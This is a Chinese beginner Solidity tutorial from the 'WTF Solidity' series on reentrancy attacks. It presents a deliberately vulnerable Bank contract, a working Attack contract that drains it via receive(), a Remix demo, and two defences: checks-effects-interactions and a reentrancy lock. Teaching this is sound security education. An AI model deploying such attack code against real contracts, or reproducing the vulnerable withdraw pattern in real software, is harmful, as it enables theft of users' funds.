我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。
所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity
这一讲，我们将介绍最常见的一种智能合约攻击-重入攻击，它曾导致以太坊分叉为 ETH 和 ETC（以太经典），并介绍如何避免它。
重入攻击
重入攻击是智能合约中最常见的一种攻击，攻击者通过合约漏洞（例如fallback函数）循环调用合约，将合约中资产转走或铸造大量代币。
一些著名的重入攻击事件：
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2016年，The DAO合约被重入攻击，黑客盗走了合约中的 3,600,000 枚
ETH，并导致以太坊分叉为ETH链和ETC（以太经典）链。 -
2019年，合成资产平台 Synthetix 遭受重入攻击，被盗 3,700,000 枚
sETH。 -
2020年，借贷平台 Lendf.me 遭受重入攻击，被盗 $25,000,000。
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2021年，借贷平台 CREAM FINANCE 遭受重入攻击，被盗 $18,800,000。
-
2022年，算法稳定币项目 Fei 遭受重入攻击，被盗 $80,000,000。
距离 The DAO 被重入攻击已经6年了，但每年还是会有几次因重入漏洞而损失千万美元的项目，因此理解这个漏洞非常重要。
0xAA 抢银行的故事
为了让大家更好理解，这里给大家讲一个"黑客0xAA抢银行"的故事。
以太坊银行的柜员都是机器人（Robot），由智能合约控制。当正常用户（User）来银行取钱时，它的服务流程：
-
查询用户的
ETH余额，如果大于0，进行下一步。 -
将用户的
ETH余额从银行转给用户，并询问用户是否收到。 -
将用户名下的余额更新为
0。
一天黑客 0xAA 来到了银行，这是他和机器人柜员的对话：
-
0xAA : 我要取钱，
1 ETH。 -
Robot: 正在查询您的余额：
1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗？ -
0xAA : 等等，我要取钱，
1 ETH。 -
Robot: 正在查询您的余额：
1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗？ -
0xAA : 等等，我要取钱，
1 ETH。 -
Robot: 正在查询您的余额：
1 ETH。正在转帐1 ETH到您的账户。您收到钱了吗？ -
0xAA : 等等，我要取钱，
1 ETH。 -
...
最后，0xAA通过重入攻击的漏洞，把银行的资产搬空了，银行卒。
漏洞合约例子
银行合约
银行合约非常简单，包含1个状态变量balanceOf记录所有用户的以太坊余额；包含3个函数：
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deposit()：存款函数，将ETH存入银行合约，并更新用户的余额。 -
withdraw()：提款函数，将调用者的余额转给它。具体步骤和上面故事中一样：查询余额，转账，更新余额。注意：这个函数有重入漏洞！ -
getBalance()：获取银行合约里的ETH余额。
contract Bank {
mapping (address => uint256) public balanceOf; // 余额mapping
// 存入ether，并更新余额
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}
// 提取msg.sender的全部ether
function withdraw() external {
uint256 balance = balanceOf[msg.sender]; // 获取余额
require(balance > 0, "Insufficient balance");
// 转账 ether !!! 可能激活恶意合约的fallback/receive函数，有重入风险！
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// 更新余额
balanceOf[msg.sender] = 0;
}
// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
攻击合约
重入攻击的一个攻击点就是合约转账ETH的地方：转账ETH的目标地址如果是合约，会触发对方合约的fallback（回退）函数，从而造成循环调用的可能。如果你不了解回退函数，可以阅读WTF Solidity极简教程第19讲：接收ETH。Bank合约在withdraw()函数中存在ETH转账：
(bool success, ) = msg.sender.call{value: balance}("");
假如黑客在攻击合约中的fallback()或receive()函数中重新调用了Bank合约的withdraw()函数，就会造成0xAA抢银行故事中的循环调用，不断让Bank合约转账给攻击者，最终将合约的ETH提空。
receive() external payable {
bank.withdraw();
}
下面我们看下攻击合约，它的逻辑非常简单，就是通过receive()回退函数循环调用Bank合约的withdraw()函数。它有1个状态变量bank用于记录Bank合约地址。它包含4个函数：
-
构造函数: 初始化
Bank合约地址。 -
receive(): 回调函数，在接收ETH时被触发，并再次调用Bank合约的withdraw()函数，循环提款。 -
attack()：攻击函数，先Bank合约的deposit()函数存款，然后调用withdraw()发起第一次提款，之后Bank合约的withdraw()函数和攻击合约的receive()函数会循环调用，将Bank合约的ETH提空。 -
getBalance()：获取攻击合约里的ETH余额。
contract Attack {
Bank public bank; // Bank合约地址
// 初始化Bank合约地址
constructor(Bank _bank) {
bank = _bank;
}
// 回调函数，用于重入攻击Bank合约，反复的调用目标的withdraw函数
receive() external payable {
if (bank.getBalance() >= 1 ether) {
bank.withdraw();
}
}
// 攻击函数，调用时 msg.value 设为 1 ether
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
bank.deposit{value: 1 ether}();
bank.withdraw();
}
// 获取本合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Remix演示
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部署
Bank合约，调用deposit()函数，转入20 ETH。 -
切换到攻击者钱包，部署
Attack合约。 -
调用
Atack合约的attack()函数发动攻击，调用时需转账1 ETH。 -
调用
Bank合约的getBalance()函数，发现余额已被提空。 -
调用
Attack合约的getBalance()函数，可以看到余额变为21 ETH，重入攻击成功。
预防办法
目前主要有两种办法来预防可能的重入攻击漏洞： 检查-影响-交互模式（checks-effect-interaction）和重入锁。
检查-影响-交互模式
检查-影响-交互模式强调编写函数时，要先检查状态变量是否符合要求，紧接着更新状态变量（例如余额），最后再和别的合约交互。如果我们将Bank合约withdraw()函数中的更新余额提前到转账ETH之前，就可以修复漏洞：
function withdraw() external {
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "Insufficient balance");
// 检查-效果-交互模式（checks-effect-interaction）：先更新余额变化，再发送ETH
// 重入攻击的时候，balanceOf[msg.sender]已经被更新为0了，不能通过上面的检查。
balanceOf[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
}
重入锁
重入锁是一种防止重入函数的修饰器（modifier），它包含一个默认为0的状态变量_status。被nonReentrant重入锁修饰的函数，在第一次调用时会检查_status是否为0，紧接着将_status的值改为1，调用结束后才会再改为0。这样，当攻击合约在调用结束前第二次的调用就会报错，重入攻击失败。如果你不了解修饰器，可以阅读WTF Solidity极简教程第11讲：修饰器。
uint256 private _status; // 重入锁
// 重入锁
modifier nonReentrant() {
// 在第一次调用 nonReentrant 时，_status 将是 0
require(_status == 0, "ReentrancyGuard: reentrant call");
// 在此之后对 nonReentrant 的任何调用都将失败
_status = 1;
_;
// 调用结束，将 _status 恢复为0
_status = 0;
}
只需要用nonReentrant重入锁修饰withdraw()函数，就可以预防重入攻击了。
// 用重入锁保护有漏洞的函数
function withdraw() external nonReentrant{
uint256 balance = balanceOf[msg.sender];
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
balanceOf[msg.sender] = 0;
}
总结
这一讲，我们介绍了以太坊最常见的一种攻击——重入攻击，并编了一个0xAA抢银行的小故事方便大家理解，最后我们介绍了两种预防重入攻击的办法：检查-影响-交互模式（checks-effect-interaction）和重入锁。在例子中，黑客利用了回退函数在目标合约进行ETH转账时进行重入攻击。实际业务中，ERC721和ERC1155的safeTransfer()和safeTransferFrom()安全转账函数，还有ERC777的回退函数，都可能会引发重入攻击。对于新手，我的建议是用重入锁保护所有可能改变合约状态的external函数，虽然可能会消耗更多的gas，但是可以预防更大的损失。